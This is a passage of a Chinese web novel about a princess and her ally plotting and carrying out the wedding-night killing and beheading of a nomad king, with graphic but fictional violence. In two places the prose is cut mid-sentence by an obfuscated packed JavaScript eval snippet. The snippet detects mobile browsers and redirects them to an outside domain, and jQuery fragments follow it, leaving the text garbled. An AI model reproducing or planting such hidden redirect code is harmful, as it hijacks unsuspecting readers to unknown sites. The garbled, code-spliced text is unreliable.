“那我只能赌一把,我相信昭离。反正我都死了,大不了再死一次!” 她朗声一笑,步调轻快地朝昭离走去。 36.11 这段时间,顾云铮也将公主尚在人世的消息,派人快马加鞭急传皇都。 得知公主还活着,老皇帝自然是喜不自胜,只觉自己多年求仙问道终于有了善报,随即御笔落下,一纸诏令宣告四海—— “朕闻公主福泽深厚,前番妄传公主薨逝,乃以讹传讹。今公主安康无恙,实乃国之大幸。昔日盟约,不可失信,和亲之事,仍依旧议。” 昭离接到这道诏令时,满脸喜色:“我就知道,父皇一定是被那些疏奏蒙蔽了!他一直都没放弃我!” 姜婋倚在马侧,鼻腔轻嗤:“你真以为,他是被西陲府衙的奏疏诓骗了?他虽是皇帝,但也毕竟是你的父亲,怎能连你的尸身都未见,便轻信一纸奏章? “他之所以仓促下诏称你薨逝,是担心无法和亲,惹怒宰牙,逼得依兹出兵。所以干脆用‘公主已死’搪塞过去。今朝公主无用,便言薨逝,明日公主尚有可图,便又‘起死回生’。真是可笑又精明!” 昭离闻言,仍旧为父辩护:“你这样说,是因为你不了解我父皇,他很宠爱我的……” 姜婋一针见血:“他需要你,自然会对你好,把你养得身娇肉贵,好让你待价而沽,换取和亲的筹码。说到底,他的宠爱,不过是衡量利害后的施舍罢了。” 话音落下,昭离手中一松,那道诏令自指尖滑落。 她下意识想去抓,却终究只握住一缕寒风。 姜婋见状,知自己话说重了,便弯身拾起诏书,递还她的时候,语气柔和了些。 “昭离,寄望他人,不过是镜花水月,转瞬成空,唯有自己,方可倚仗。” 昭离接过,垂眸不语。 她心中亦有挣扎与疑问,但此刻,她必须相信父皇是爱自己的。 ——因为这是她返回兴都,甚至是活下去的唯一信念。 姜婋换上轻松的语气:“别傻愣着了,时间紧迫,咱们继续练骑马吧。” 昭离挤出笑容,翻身上马。 姜婋骑在马背道:“我哥的苍狼军还有口号呢,虽然很中二,但也算有点气势,不如我们也想一个吧?” 她故意逗昭离笑道:“骑马不快,小命难在!” 昭离莞尔,对下句:“逃跑迟疑,脑子有疾!” 二人闻言大笑,方才的阴霾一扫而空。 两人并肩骑行,青骢马和小红驹马蹄嘚嘚,踏破冰雪。 婚期将至,和亲事宜已然步步推进,连送往婚宴的酒水,都已从兴都府运至军镇。 是夜,昭离正在用木剑练习姜婋教她的防身术,忽听脚步声近,抬眸便见一根树枝破风而至,直指她肩头。 昭离当机立断,反手一挡,格开攻势,木剑回旋刺去。 姜婋轻盈一转,避开剑势,赞道:“进步神速啊!” 昭离收起木剑:“你这两招是手下留情,宰牙可不会如此……” “但你能在短短数日练下整套剑法,已远超我的预期。” 姜婋手指轻点昭离腕间:“这套剑法是我特意为你量身设计的,摒弃冗余繁复,专挑最实用的招式,再揉进去女子防身的巧劲之道。你不是习武出身,要靠借力打力,以巧胜强。” 昭离点了点头。 姜婋低声道:“如今,距离我们的计划还差最后一步了。” “最后一步?” “拉我哥入局。” 昭离微怔,略感意外:“你不是说,此事只限你、我与回夏巫珠知晓,断不可使旁人知情?” 姜婋心中一动,掩住嘴角笑意,看来在女主心中,目前男主角仅仅是“旁人”呐! 看来是自己这段时间防范得当,古代题材虽然多了「三从法则」,但让女主和男主保持距离这点,还是很容易做到的。尤其昭离又是公主,任他顾云铮是男主角,也不易近身。 姜婋收回思绪,压低声线道:“不错。关于以依兹换银州、助你称帝之事,是天机不可泄露。但若要剿灭依兹残部,终究还需苍狼军相助。你放心,我会想办法让我哥在不知不觉中入局,等时机成熟再告知他一二,便能确保无虞。” 昭离沉吟片刻,担心问道:“你确定,他会答应?” 姜婋心道:为了你,我这五年来,可把顾云铮的人设摸透了,就连他喜欢穿什么材质的裈裤我都一清二楚! 她勾唇一笑:“我哥这人嘛,愚忠!我劝他未必有用,但你若以公主身份命令,他必定遵从。” 昭离若有所思:“那我该如何说?” 姜婋附在昭离耳畔,低声细语道来。 翌日,顾云铮接到公主的传唤。 他掀帘而入,俯身施礼道:“卑职拜见公主。” 昭离特意换上公主朝服,一身凤袍金冠,虽身在简陋砖房,但仍显尊贵之姿。 “近日将军为和亲之事奔走,真是辛苦了。” 顾云铮肃然道:“此乃卑职本分,何谈辛劳。倒是公主……” 他言语微顿,心底蓦然泛起那日初见之情。 他好不容易在回夏手中救回公主,又如何甘心让她再次落入蛮夷之手?若他能率苍狼军踏破依兹,又何须以公主之身换取苟安? 昭离道:“今日唤将军前来,是有一事相商。” 顾云铮回过神:“请公主示下。” 姜婋在一旁接口道:“哥,你应该也有所耳闻,宰牙嗜血残暴,凡是远嫁公主,皆落得惨死之下场。昭离公主好不容易捡回一条命,可若她落入宰牙手中,怕是凶多吉少……” 顾云铮眉头深皱:“此事我自然知晓,但……” 昭离轻叹一声,虽叹息无声却蕴含着千般无奈,仿若冰刀刺在顾云铮心尖。 “我虽仅为公主半年,却也久闻依兹乃昭国心腹大患。今日父皇令我和亲,不过是求得短暂安宁,待我身死,恐怕宰牙还会逼迫父皇再派一位公主……”她言及此处,微微拭泪。 姜婋亦眼眶微红:“哥,莫非你真能眼睁睁看着昭离公主赴死?” 顾云铮见二人眼泪汪汪,顿时心乱如麻,他素来最受不得妹妹掉泪,如今连公主亦是如此,此刻俨然慌了阵脚。 “公主放心,我顾云铮便是拼死,也必定护公主周全!” 昭离闻言,拭去泪痕:“好!既如此,顾将军可愿助我设局,让依兹再无翻身之日?” 顾云铮微怔:“公主的意思是……” 昭离缓缓吐出一句:“我成婚之日,便是宰牙人头落地之时。” 此言一出,顿时静寂无声,唯有窗外西北风呜呜作响。 顾云铮猛然抬头,却见昭离直视他,目光灼灼道:“成亲之夜,我将在营帐之中斩杀宰牙,望顾将军于帐外相应,率苍狼军伏击依兹铁骑。” 顾云铮脱口而出:“公主,你如何杀他?” 昭离视死如归:“以、命、相、搏。” 她说着握住身侧姜婋的手,语气坚定:“若我杀不成,婋婋自会接手。我二人之计,便是要让宰牙必死无疑!” 顾云铮望着眼前之人,一时沉默不语。 他本以为公主柔弱无依,未曾想她竟敢涉险至此,心中震撼之余,涌出几分敬佩和自愧。 依兹在西北边境为祸多年,并非苍狼军无法平定,而是皇帝迟迟不愿放权,他前后掣肘,难以放手一搏。若能趁此剿灭依兹,不正是他多年夙愿? 顾云铮道:“那卑职即刻将此事奏报圣上。” “且慢——” 昭离眸色微沉:“将军当知,行兵最忌走漏风声。若此事递奏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759922|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父皇,这途中要经过多少州府,入了兴都,又要经过多少人之手,且不说消息恐会泄露,等父皇点头之时,恐怕我已命丧宰牙帐中!” 顾云铮心下一凛,脱口道:“公主放心,卑职绝不让你死。” 这话说的有些重了。 昭离怔愣片刻:“我当然信你。所以,此事你我联手,成,则名垂千古,败,则同赴黄泉。” 顾云铮心潮翻涌,剿灭依兹,乃是他,以及苍狼军多年梦寐以求之功。如今有公主御令,若能一战功成,先斩后奏也未尝不可…… 恍惚间,他仿佛已看到自己一□□穿宰牙的头颅,旌鼓雷鸣的盛景。 在尸山血海之巅,他顾云铮披甲而立,而昭离公主朝他奔来,眼中满是倾慕和爱恋…… 姜婋看着顾云铮陷入怔忡的模样,心道,估计是「男主光环buff附体法则」启动了,男主定做着英雄美梦呢! 半晌后,顾云铮收回思绪,说道:“卑职愿随公主,共赴刀山火海!” 昭离满意一笑:“顾将军,我不必你赴刀山火海,我只要你在送往依兹的酒水中,加些‘佐料’。” 顾云铮微怔:“公主指的是?” 姜婋拿出一筐药粉,狡黠笑道:“这作料嘛,就是女贞花的花蕊,少服健胃消食,但喝多了就会腹泻难止。到时候,依兹人怕是连刀都握不稳了。” 顾云铮失笑:“没想到你整日摘草弄花,此刻倒是派上用场。” 姜婋得意:“顽妹谨遵‘三从四德’,从军、从武、从医;得权、得势、得利、得财!” 顾云铮一嗔:“又是满口胡言!” 昭离收敛笑意:“顾将军,此事成败,系于你我性命,还望慎之。” 顾云铮道:“公主放心,卑职定不负所托!” 昭离看向姜婋,两人对视一眼,暗中互相做了个鬼脸。 展眼到了和亲前夜,嫁妆、酒水已装车备好。 苍狼军穿上崭新的盔甲,就连兵刃也悉数打磨锋利,而谁也没有察觉军厩的梁大娘已经失踪多日…… 昭离收拾好嫁衣,心中压着一块巨石,自然辗转难眠。 这时,姜婋走来,手里握着一只狭长的锦盒,向她递来。 昭离接过,有些疑惑地问:“这是什么?” “你打开看看。” 昭离轻轻打开盒盖,霎时眼睛一亮。 那是一支由鹿角雕琢而成的发簪,未曾染色,也没有镶嵌华饰,唯簪尾处刻了一枝女贞花,简约而雅致。 昭离盯着它,心底骤然浮现出那夜的记忆,这是她亲手斩落的鹿角。 她眼睫轻颤,问道:“这支簪子是那只小鹿的……” 姜婋点头,将簪子轻轻插入她鬓间:“我手艺不精,雕得不够好,你将就戴着吧。” 昭离伸手摸了摸发间的簪子,眼底氤氲了一抹暖意:“你怎么会想到做这个?” “鹿角坚韧,胜过璞玉,比起那些黄金翡翠,我觉得这个更适合你。” 姜婋凝目望着她:“况且,这可是你亲手砍下来的鹿角,正应了‘匹夫无罪,怀璧其罪’之言。它不完美了,所以得以自由,我希望你也是……” 昭离心中泛起一阵暖流,她放走那只鹿,希望它能自由于天地间,也更希望自己可以决断自己的命运。 她低头抚过簪身,柔声道:“……谢谢你,婋婋。” “客气什么。” 昭离目光真挚:“我指的是谢谢你,为我做的一切……” 姜婋眼眸微动,一切尽在不言中。 夜风拂过窗棂,豆烛摇曳。 明日是生是死,是成是败,仿佛都没有这一刻重要。 这是尘埃落定前,小鹿放逐的片刻自由。 37.12 和亲当日,由苍狼军精锐护送公主凤驾前往依兹。 而所谓的苍狼军主帅,正是由姜婋所假扮的,真正的顾云铮早已带着全部苍狼军精锐从望风峡出发,穿过回夏,直抵依兹老巢。 穿过回夏之时,顾云铮只觉异常顺利,而他不知道的是,野利娥若早已带领大批精麻军,呈环抱之势围住依兹都城。 和亲的队伍浩浩荡荡前进,随着临近依兹,放眼所及的景象与丹州迥然不同,四周愈发荒蛮,残阳如血,染红连绵不绝的帐篷。 风声如鬼泣狼嚎,和队伍前开路仪仗的鼓乐声交织在一起,令人闻来心惊胆寒。 昭离从凤鸾车里探出头,掀起帷幔,问向身侧的姜婋。 “还有多久抵达?” 姜婋的声音透过玄铁面具传来,沉冷而清冽:“已经到依兹边界了。” “那成婚之时恐怕已是黄昏了吧?” “没错,依兹部落素来晚上成婚。” 昭离一怔:“为何?” 姜婋冷笑:“你可知,《说文》中「婚」字解释为:‘礼,娶妇以昏时。以昏时者,昏暗不清,便于偷袭抢劫耳。’孔子曰:‘嫁女之家三夜不息烛’指的就是防范男家抢亲。因为依兹还保留着父系部落的原始陋习,女子多是被掠夺成婚,所以选在方便抢婚的晚上。” 昭离闻言,手指握紧车牖,心中不忿。 姜婋又问:“那你知道甲骨文中「妻」、「娶」二字怎么写吗?” 昭离摇摇头,兀自在掌心用手指书写。 姜婋道:“「娶」字,甲骨文的图形为手持斧对女,呈威慑状。「妻」字像以手捉人或折人跪服。所以有种推测,自母系向父系转变之时,父系便是用武力抢婚。” 昭离忙问:“那母系部落如何成婚?” “在母系部落是不存在婚娶的,当时流行野合偶居,而后是走婚。” 姜婋解释:“所谓走婚,便是女不嫁,男不娶,男访女家,夜合晨分。两方不受门第限制,各自居住在母亲家,分属于两个家庭,若双方有意,男子便可到女方处留宿,所生子女属于女方。” 昭离苦笑:“那肯定不会发生因天象不祥,便要谋杀女婴之事了。” 姜婋道:“那是自然。更不会有‘和亲’一说。” 之后,二人便未再言语,皆知此行凶险,各自养精蓄锐。 夜幕降临,和亲队伍行至依兹腹地,狂风裹挟着腥膻气息扑面而来。 依兹王帐前,篝火燃得正旺,火光照亮一张张黝黑而狰狞的脸。 战士们赤裸上身,围着火堆狂舞,他们拍打胸膛,吼声震天,宛如野兽示威。羊血、烈酒泼洒在地,在火光映照下仿佛凝成暗红的血色。 姜婋翻身下马,目光掠过喧嚣的宴席,落在主位之人身上——正是宰牙。 他半倚在一张熊皮王座上,目光如鹰,盯着不远处的凤鸾车。 只见他站起身,胸前挂着的狼牙与兽骨,随着他的动作啷当作响,而他每走一步,都踏得大地微颤。 姜婋心底警铃大作,这宰牙身形如铁塔,自己恐怕都不是他的对手,公主又该如何杀他? 思忖间,宰牙已步步逼近。 他目光中满是狂妄:“这就是昭国送来的公主?”他抬手饮尽一杯烈酒,随手将酒杯砸在地上,碎裂的声音在寂静的夜里格外刺耳。 “可真是令本王好等啊!” 凤鸾车前,依兹兵卒哄笑,更有甚者竟掀开帘幕,语气轻佻道:“堂堂昭国公主,也不过是送来伺候宰牙大王的娘们罢了!” 笑声四起,昭离端坐车内,脸色冷如寒霜,好似并未听见,但袖中指甲已狠狠掐入掌心。 姜婋上前几步道:“参见依兹王,卑职乃苍狼军主帅顾云铮,奉圣命护送公主前来和亲,这是陛下的和亲诏书,还请大王过目。既然是和亲之盟,还望两国遵守礼仪。” 她说罢,目光如鹰隼般扫过那掀帘的士兵。 宰牙随手接过诏书,看都未看便扔给身旁的亲兵:“我们依兹不讲这些虚礼,成婚之夜,当然要尽情狂欢。” 姜婋闻言不动,苍狼军依旧军纪森严。 宰牙却狞笑道:“顾将军,你们昭国最擅长这些繁文缛节,只可惜,这些玩意儿不能打仗。” 他皱眉盯着姜婋的面具:“不过你这张面具,着实看着碍事……” 闻言,姜婋摘掉面具的下半部,只遮住眉眼:“末将眉眼有伤,不便露出,有碍观瞻。” 宰牙哈哈大笑,扯开肩上的兽皮,露出道道狰狞的疤痕,得意道:“在我们依兹,伤疤是战士最好的荣耀!” 姜婋淡淡一拜:“大王英勇。” 宰牙披回兽皮,忽然目光盯向凤鸾车,声音陡然低沉:“久闻昭国公主天姿国色,此行遭遇不测,又能起死回生,真乃上苍眷顾……只是,本王倒要看看,这‘起死回生’的公主,还是不是公主?” 姜婋心中一颤,这宰牙果然狡猾,还好放弃了假扮公主的计划。 一时间篝火越烧越旺,那些赤裸上身的依兹士兵捶胸狂吼,宰牙大笑着一把扛起公主,大步走向毡帐。 姜婋目送昭离的身影消失在王帐内,眉间蹙紧,心脏如鼓擂动。 而下一秒她就被亲兵架到篝火前,与众人一起狂舞痛饮,可她眼神却一刻不离王帐方向。 王帐之内,却是一片寂然,仿佛这火热的庆典被一层无形的屏障隔绝,只余下令人屏息的压迫感。 宰牙斜倚榻上,目光贪婪而戏谑地扫过昭离:“我素来厌恶昭国那些金灿灿的华服,全都给本王脱了。” 昭离指尖微紧,抬眼望去,帐内正中央竟悬挂着一幅她的画像,画像细致得连她身上胎痣的位置也一一标注。 宰牙果然如托罗沙所言,狡猾多疑,他让自己脱衣,既为验明公主身份,更是为剥夺近身者藏匿武器的可能。 可杀他的兽骨匕首,正藏在自己的衣袖之中。 宰牙不耐烦地催促:“脱!” 昭离深吸一口气,解开外袍,沉甸甸的凤冠霞帔落地,绣凤的衣襟随之滑落,层层嫁衣褪去,她将匕首悄然掩在衣褶之中。 最终,仅余一层轻纱罩身。 宰牙眯眼,满意点头,又道:“头上的金冠也摘了。” 昭离心下一沉,若连金钗也被除去,那她就再无锋利之物可用。 但宰牙的语气不容置喙,无奈之下,她摘下凤冠,只留下那支姜婋所赠的鹿角簪,低声道:“大王,这是我束发之物,若摘了,发髻便乱了。” 宰牙看了一眼,见是鹿角雕制,便挥手道:“罢了。” 昭离心想,看来宰牙不喜黄金饰物,瞧他身上佩戴的亦是狼牙与猛兽的颅骨,还好婋婋送自己的是鹿角簪…… 就在她忖度之际,宰牙已朝她走来,目光如毒舌吐信一般舔在她身上,对着画像比对确认。 昭离定在原地,既紧张又恐惧,她强迫自己摒除杂念,思索应对之策。 突然,宰牙扔掉画像卷轴,猛地拽住昭离手腕,另一只手提起她的腰带,反手将她双腕牢牢缚住! “果然是昭国的公主,细皮嫩肉。” 他眯起眼,露出森森白齿:“跪下!” 昭离心中一沉,此刻不但武器尽除,还双手被捆,自己该如何反杀? 就在这时,营帐外,篝火熊熊。 待到火焰燃至最盛,数名依兹勇士上前,模仿祖先抢婚的场景,手持弯刀,互相搏斗。围观的依兹人纵声狂吼,为这场盛大的婚礼助兴。 篝火前,姜婋命苍狼军带来大昭的准备的酒水。 依兹士兵突然道:“你们大昭的酒水不够烈,不如尝尝我们的歃血酒。” 说着他递来牛角杯,顷刻间一股血腥味蔓延开来。 姜婋心中一凛:“怎么突然换酒?” 她拿起酒杯问道:“据我所知,依兹并不产粮食,米麦向来珍贵,从不酿酒,这歃血酒又从何而来?” 依兹士兵道:“当然是回夏进献而来。” 另一个士兵插嘴:“回夏被我们打得连连战败,自然对我们俯首称臣。眼看我们大王婚期将至,回夏那小蹄子便派人送来了一批美酒。你还别说,这回夏女人多,酒水也甜哈哈哈……” 姜婋闻了闻牛角杯里的酒,当即泼在地上! 原本热闹的篝火前,气氛骤然冷却。 夜幕之下,王帐之内。 昭离竟像羔羊一般,脖颈被缠上项圈,双手捆着衣带,跪伏在地。 宰牙拿起皮鞭,讪笑道:“你们昭人皮肤白皙,跪在地上宛如羔羊,不如学两声羊叫,取悦本王?” 昭离攥紧拳头,指甲几乎刺入掌心。她虽流落民间,但也从未遭受过如此屈辱,一时之间羞愤迸进。 但指尖的疼痛令她闭目冷静下来,托罗沙的声音在她脑海中浮现—— “再厉害的男人,也有弱点。” “尤其是那些把蹂躏女人当作征服的弱者,他们□□往往软塌塌的。” 倏地,昭离睁开眼眸,目光似雪夜的刀锋般犀利。 她腾地起身,反手拽紧宰牙手中的鞭子! 好在姜婋教过她使用巧劲,这一拽,连身如铁塔的宰牙也踉跄了一下。 宰牙怔愣,随即眯眼打量她。 昭离攥紧鞭子,用方才宰牙的语气道:“我素来厌恶这毛茸茸的兽皮,全都给本公主脱了!” 宰牙似是生出几分兴致:“你在命令本王?” 昭离捋了捋鬓角发丝,语笑嫣然:“方才大王说,身上的疤痕皆是勋章,我听得心痒,也想一睹真勇士的风采。” 宰牙听罢,狂笑道:“你这公主倒有几分胆色。” 他说着解开腰带,脱下兽皮披风,露出魁梧的上身,只见刀疤纵横,如虬龙盘踞。 昭离眼底掠过冷色,然脸上却无惧意。 宰牙心道,旁人见到自己这威武的身子都是面红耳赤,这小公主倒是不为所动,登时燃起征服欲,一把扣住她的腰道:“来吧,本王今夜就让你一睹真勇士的风采。” 昭离指尖轻点在他的胸膛,随即离去,如雁过无痕。 她低语道:“大王莫急,我们可是新婚。按照大昭的礼仪,不如先饮交杯酒?” 宰牙目光炽热,眼底流露出毫不掩饰的欲望:“也罢,本王便陪你喝一杯。” 与此同时,王帐之外。 篝火熊熊,火光映照着姜婋冷峻的侧颜,她戴着玄铁面具,令人看不清表情。但见“顾将军”当众泼洒酒水,依兹人顿觉受辱,纷纷聚来。 领头的依兹士兵扯嗓子问道:“顾将军,你这是何意?” 姜婋道:“久闻依兹人性格豪爽耿直,回夏人奸邪狡猾,如今一看,果不其然。” “此话怎讲?” 姜婋嗤笑:“若是我,再俯首称臣之国送来的酒水,我也是一概不喝。你们也该听闻,之前我们大昭公主就是被回夏歹人掳走,回夏人何等居心叵测,他们送来的酒水,你们就不怕被下毒吗?” 依兹人闻言,互相对视,端着牛角杯,露出迟疑之色。 姜婋哼笑两声:“无妨,我大昭和回夏有仇,是我们两国之事,你们大可痛饮歃血酒,至于我们带来的玉髓,就独自享用了。” 众人闻言,问道:“玉髓?” 姜婋拿起宛如白玉的酒坛,介绍起来:“此酒产自昭国兴都,在皇城脚下有一座名震四海的酒楼,名曰樊楼。这樊楼最出名的便是佳酿——玉髓。传闻喝了这酒,连骨头缝里都会觉得舒畅痛快。” 依兹士兵道:“我在风沙渡集市,听昭国的商人说起过这酒,就连在兴都也是千金难买!” 此言一出,众人被勾起好奇心,纷纷道:“好!不如我们也换换口味,试试昭国的玉髓。” 见依兹人不疑有他,饮下玉髓,姜婋心中暗暗舒了一口气。 还好自己之前和姊师商议过,宰牙多疑,想必他不会冒然接受大昭送来的和亲酒。若要让依兹人心甘情愿喝下大昭的酒,那必然要树立一个更为迫切的敌人。唯有在两害之中,令他们权衡利弊,方能使大昭成为眼下最可依靠的盟友,这正是利用了合纵离间之策。 姜婋举起牛角杯和众人碰杯,掩袖之际,将酒水倒在事先准备在袖中的羊肠水囊之中。 这时,系统的声音响在脑海:“玩家,检测到女主角的情绪剧烈起伏!” 闻言,姜婋骤然望向王帐,心中担忧不知昭离能否应对这场变幻莫测的杀局? 此刻,王帐之内。 昭离跪坐案前,在为宰牙斟酒之时,她暗中将指甲上装饰的女贞花花蕊捻碎,撒入酒中。 宰牙端起酒杯,二人交握而饮。 昭离边喝边思索对策,女贞花蕊的起作用应该不会很快,她需得想法子拖延时间。她本想将宰牙引至案几附近,再伺机行刺,可匕首和短刃藏在不远处的华服之中,该如何让他放松警惕,重新拿回武器呢? 就在她思考之时,宰牙却骤然扔下酒杯。 “酒已尽,该进入正题了吧?” 说话间,宰牙已探手掐住她的脖颈。 昭离心念急转,宰牙竟如此急躁暴虐,此刻她手无寸铁,花蕊也无法立刻起作用,要如何杀他? 宰牙癫狂道:“公主,你可知本王最喜欢听何种声音?” 他猛地将她压倒,幽冷的目光宛如猎人俯视挣扎的羔羊。 “宰羊之时,最动听的,便是它无助的哀鸣。咩咩咩……如泣如诉,可怜可悲,真是令人心生快意,你不如也叫两声,给本王听听!” 昭离脊背发寒,传言果然不虚,宰牙残虐至此,堪称禽兽。 她奋力挣扎,指尖扣住他的手指,可宰牙手指如钳,纹丝不动,仿佛下一秒便要被扼断喉咙! 宰牙的目光雀跃,在他眼中,弱者不过是狼群下的羔羊,而女人生来便是供人戏弄的玩物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782012|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着呼吸一点点被抽干,昭离脑海中却闪过野利娥若的教诲—— “杀人如驯马,皆在掌控局势,收服对手,察觉破绽,顺势而为。” “但杀人之前,需先学会保命。” 可此刻,种种法则仿佛都失效了,她无刀无刃,手脚尽缚,保命都难,又如何杀他? 难道自己就要死了吗?再也无法见到父皇吗? 好不甘心…… 忽然,那个仿佛从心底,又好似从天外传来的声音又出现了: ——活下去!你不能此刻就被打败! 思绪纷乱如麻,昭离的挣扎渐渐停滞,瞳孔缓缓失焦,直至彻底僵直不动。 宰牙见状,兴奋的脸上突然悻悻:“昭国的公主也不过如此,掐不过片刻便不动了。本王还未尽兴,她不会就这么死了吧?” 他低头凑近,正欲探昭离的鼻息之时,昭离猛然瞪大双眼,用被捆绑的手臂圈住宰牙的头,如凶兽扑噬般死死咬住他的耳朵! 昭离没有武器,没有帮手,全身最锋利的地方就是自己的牙齿。 她自己就是武器! 宰牙暴怒狂吼,可帐外酒宴狂欢,鼓声震耳,竟无一人听见王帐中的动静。 他试图甩开昭离,可昭离如附骨之疽,缠上他的肩背,死咬不放,齿间温热的血腥弥漫,她却丝毫未退。 宰牙伸手扯断她腕上的束缚,这才终于将她甩开。 然而,为时已晚。 随着宰牙一声惨叫,昭离摔在地上,牙齿间还咬着生生撕裂的半只耳朵! “呸!”昭离一口吐出猩红触目的血肉。 就在宰牙惊恐地望着地上的半只耳朵,还没回过神来之时,昭离目光一寒,闪身跃起,拔下鹿角簪,直刺宰牙喉咙! 刹那间,鲜血喷洒如柱! 宰牙双目暴睁,伸手捂住喉口,鲜血自指隙汩汩涌出,他步步踉跄,终是扑然倒地。 昭离的脸上、手上、衣上全是宰牙的血。 此刻帐外冷风呜咽,一股寒风灌入帐内,昭离脸上的血由热转凉,但她的心却由冷转热,直至沸腾,怦怦狂跳起来。 她突然意识到,她杀死了依兹王宰牙,这个令大昭恐惧了数十年的游牧部落首领,苍狼军没做到,顾云铮没做到,父皇没做到…… 但她,做到了。 原来杀死一个看似强大的敌人是这样的感受。 一股难以言喻的快意自心底腾起,仿佛踏过一条无法回头的红线,打碎一个看似坚不可摧的囚笼。 原来我可以。 昭离垂眸,看向宰牙痛不欲生的脸孔,方才有那么一瞬间,宰牙的脸和她的父皇仿佛重叠。 自己怎么会产生如此怪诞的幻觉? 蓦地,昭离冒出一个想法,这颗头颅当由自己亲自取下。 昭离站起身,郑重的披上外袍,用满是鲜血的手,拢好乌黑如缎的长发。 仿佛是要完成一场古老的献祭仪式,她闭上眼,耳畔似乎回荡着幼时干娘在湖州教她杀鱼的口诀: “杀鱼有序,先让鱼儿失去反抗,再剔鳞、开膛、放血,最后,去鳃……” 她睁开眼,目光落在宰牙那尚有余息、抽搐不止的身躯之上。 第一步,让鱼儿失去反抗。 她屈膝跪地,拔下鹿角簪,紧接着从袖中取出兽骨匕首,毫不迟疑地刺入宰牙的胸膛。刀刃破开血肉,宰牙陡然一颤,瞪大双目,直至眼底的狠厉逐渐褪去,瞳孔失去光彩,宛如死鱼。 第二步,剔鳞。 昭离抽出匕首,刀锋顺着宰牙手臂一寸寸划过,割断肌腱,使他的手再无法紧握兵刃。这双手曾斩杀多少人,摧残多少女子,如今便用鲜血祭奠这无数冤魂! 第三步,便是开膛。 她举起匕首,刀尖瞄准他的腹部,微微一顿,忽而想到这副躯体应留给回夏巫珠处理,便改作下一步,放血。 杀鱼不放血,肉质便会败坏变腥,宰杀恶兽,亦当如此。 她将刀刃横于宰牙的颈侧,用力刺入,鲜血瞬间染红金线编织的地毯。 最后一步,去鳃。 鳃是鱼的生命之源,宰牙的头颅,便是他的鳃。 昭离下手果断,刀锋先破皮肉,紧接着力道再深三分,切断大动脉,霎时鲜血喷溅。刀刃再进之时,却嵌入骨节,昭离双手按住刀柄,猛地一转,碎骨崩裂之声响起,随之整个头颅落地。 眼下,这条“鱼”已被处理完毕。 昭离俯身拾起宰牙的头颅,凝视片刻,嘴角勾起一抹笑意,轻声道: “你不是最爱听羔羊的惨叫?只可惜,今夜你才是那只被宰杀的羔羊。哦不,是鱼。” 她吐出一口浊气,抬袖拭去脸上的血痕,还差最后一步。她翻出靴中之物,掀开帐帘,随之一道冲天红光撕裂夜幕! 那是苍狼军决战的信号。 喊杀声轰然响起,埋伏已久的苍狼军自四方杀出! 姜婋见到信号的一瞬间,便已抽出长枪,直奔王帐。 想要拦截的依兹残兵在酒水的影响下,早已失去战斗力。未中计的也被苍狼军与回夏精锐缠住,远方战马嘶鸣,杀声震天! 姜婋一路破阵,连面具都被刀光震碎,终于杀入王帐之前! 当她冲入营帐,血腥味扑面而来,顿时心中一沉。 紧接着,她看见昭离满脸血污的模样,猛地上前,一把紧紧抱住。 “昭离!” 她声音微颤,已分不清是惊惧,还是庆幸。 昭离侧过头,在她耳边轻声道:“我杀了一条鱼。” 姜婋微微松开手臂,在确认她没有受伤后,说道:“你杀的不是寻常之鱼,而是这五洲四海中最残暴的一条鱼。从此以后,你便是这世间最勇敢的打渔姑!” 昭离莞尔一笑,将沾满鲜血的鹿角簪递给她:“你送我的簪子,救了我一命,替我重新戴上吧。” 姜婋双手接过鹿角簪,郑重地将簪子重新插回昭离的发间。 她凝视片刻,只觉那簪端曲折伸展的枝桠,好似在鲜血的洗礼下,生长为一顶象征新生和权柄的王冠。 二人对视,无需言语,便已读懂彼此的眼神,大计已成,昭离亲手开辟了属于她的命运。 而毡帐外,厮杀声未歇,残存的依兹士兵尚在垂死挣扎。 昭离闻声起身,拎起宰牙的首级,步履沉稳地迈出王帐。 夜风猎猎,吹拂起她染血的华袍。 她立于高处,举起宰牙的头颅,声音震彻夜空—— “宰牙已死,依兹众将莫要负隅顽抗,做困兽之斗!” 一瞬间,兵戈交错的声音骤然停止。 依兹残兵难以置信地望着她手中的头颅,顷刻间,刀枪落地之声此起彼伏,余下的依兹铁骑纷纷跪倒。 篝火熊熊,烈焰翻腾,映照出昭离眉眼间未曾有过的锋芒。 这一刻,旧王已灭,新的领袖,已然诞生。 38.13 昭离公主手刃宰牙,剿灭依兹的消息被封于矾书,交由斥候一路快马加鞭送往兴都。 然而,比九重阊阖之中的天子更早得知此事的是西陲的百姓。 消息随着风沙流传,被添油加醋化作传奇。 昭离之名传遍西部大地,昔日流落民间的孤女,如今成了百姓口中的英雌。连她出生时不祥的日食天象,都被重新解读为神明降世的吉兆。 看来天象之吉凶,并非由天定,而是由人书写。 但昭离对此一无所知,她将依兹部落善后之事交托顾云铮,便与姜婋携宰牙尸首,策马奔赴回夏兑现与巫珠的承诺。 此次见面不是在托罗沙的寝殿,而是在回夏议事厅。 这里呈环形状,好似一个倒扣的海螺,中庭为一轮镜水池,厅中看不出明显主位,席位沿水池而围成一圈。 巫珠托罗沙端坐于其中一把玉榻之上,这次她并未饮酒,眸色清醒。 野利娥若身披旧日冷锻甲,踏步上前,右拳抵左肩,俯身行回夏礼道:“卑职……参见巫珠。” 